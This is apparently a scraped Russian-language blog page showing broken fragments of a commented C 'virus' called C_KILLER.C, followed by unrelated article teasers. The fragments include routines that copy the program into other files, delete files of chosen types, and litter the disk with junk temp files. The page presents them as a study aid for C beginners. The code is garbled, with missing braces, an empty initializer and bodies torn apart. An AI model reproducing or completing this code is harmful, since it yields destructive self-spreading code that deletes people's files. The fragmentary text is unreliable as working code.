        path = strcat (disk [getdisk ()], addtion); // Получаем корневой номер

        chdir (path); // Смена рабочего каталога

        char tempname [] = "XXXXXX"; // Строка присваивается массиву

        NewName = mktemp (tempname); // Создаем уникальное имя файла

        fp = fopen (NewName, "w"); // Создаем новый файл

        fclose (fp); // Закрываем файл

        return 0; // возврат

        int CreatEXE (void)

        int i; // Целочисленная переменная

        char * path; // Указатель на символ

        open (s, 0x0100,0x0080); // Открываем файл для записи данных

        copyfile ("C_KILLER.C", s); // Вызов подфункции для копирования данных файла

        int Remove (void) // куда идти

        int done; // Определение пластиковых переменных

        struct ffblk ffblk; // Объявить структурную переменную ffblk

        char * documenttype [3] = ; // инициализируем массив указателей

        done = findfirst (documenttype, & ffblk, 2); // Поиск в каталоге

        while (! done) // возвращаем 0, если поиск успешен

        remove (ffblk.ff_name); // Удаляем файл

        return 0; // возврат

        int Breed (void) // Модуль разведения

        int done; // Информационная переменная

        struct ffblk ffblk; // структурная переменная репутации

        if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )

        int main (void) // Адрес входа в программу

        Breed (); // Разведение вируса

        Remove (); // куда идти

        printf ("Можете назвать свое имя?");

        printf ("Пожалуйста, введите свое имя сейчас!");

        MakeRubbish (); // Вызов подфункции

        clrscr (); // Очистить экран

        Подробно прокомментирован исходный код вирусной программы, разработанной на языке C. Строго говоря, это не вирус в истинном смысле этого слова, но его можно использовать как справочник для начинающих, изучающих C. В программе реализованы несколько вирусных функций.


        Интеллектуальная рекомендация

        Навыки Laravel Highlight (41): реализация пользователя для изменения пароля

        Java о сборе списка Яма при удалении

        ArrayList - это при выполнении удаления, если вы используете следующую способ, в чем проблема? Результаты: [1, 2, 3, 4]. Проблема анализа: почему есть 3 слева? Потому что при доступе к списку [2] он у.


        Структура данных-пузырьковая сортировка-групповой язык C

        Пузырьковая сортировка Принцип состоит в том, чтобы пройти каждый элемент один за другим и поместить наименьшее значение в первую позицию начала текущего цикла. Двухуровневый цикл: внешний цикл управл.


        Используйте mysql под vscode

        Используйте mysql под vscode Платформа программного обеспечения Установка и настройка среды плагин vscode Меры предосторожности vscode подключить mysql Справочный блог Платформа windows программного о.


        Jmeter - установить определенный QPS

        Постоянная пропускная способность таймер - постоянная пропускная способность Целевая пропускная способность: означает количество запросов в минуту, обращать внимание на него на него каждую минуту. Ита.

        Читайте также: